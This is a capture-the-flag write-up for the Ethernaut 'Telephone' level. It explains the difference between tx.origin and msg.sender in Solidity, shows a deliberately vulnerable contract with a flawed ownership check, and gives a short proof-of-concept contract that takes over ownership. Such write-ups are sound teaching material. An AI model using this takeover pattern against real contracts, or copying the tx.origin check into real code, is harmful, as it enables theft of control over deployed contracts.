Ethernaut Series - 04 (Telephone)

Concept
The main concept being taught in this level is the difference between the use of tx.origin and msg.sender. Let’s try and understand this using the following image:

Observations:
If Bob calls
contract A, the contract will see the value oftx.originas well asmsg.senderas Bob’s account/contract address.Now in the above scenario, if
contract Amakes a call tocontract Bthen forcontract B, the value ofmsg.senderwill be equal to the address ofcontract Awhereas the value oftx.originwill still be Bob’s address.Now let’s say
contract Bcallscontract C, in such a case,contract Cwill see the value ofmsg.senderas the address ofcontract Bwhereas the value oftx.originwill still resolve back to Bob’s address.
This concludes that tx.origin always points to the source address where the transaction or a function call was initiated whereas msg.sender is the address of the immediate contract/user address which made that specific transaction/call.
Code
We are provided with the following codebase:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
As we can see, the contract checks if the tx.origin is not equal to msg.sender. Now if we think about it, any random contract/user can make a call to this contract and claim its ownership, since it checks if the addresses of a call to this function changeOwner, are not equal.
There is no check to see if the call is being made by the pre-existing owner or someone who is meant to have such permissions.
So to exploit this contract, we simply need to ensure that our tx.origin and msg.sender are not equal.
Proof-Of-Concept
The concept can be coded very simply as follows:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8;
interface ITelephone{
function owner() external view returns (address);
function changeOwner(address) external;
}
contract Exploit{
constructor(address _target){
ITelephone(_target).changeOwner(msg.sender);
}
}
We provide the address of the instance while deploying the exploit contract using remix IDE:

After deploying the contract, it will make the function call to changeOwner() function which will allow us to make us the owner of the instance of that level. This marks the completion of our level.



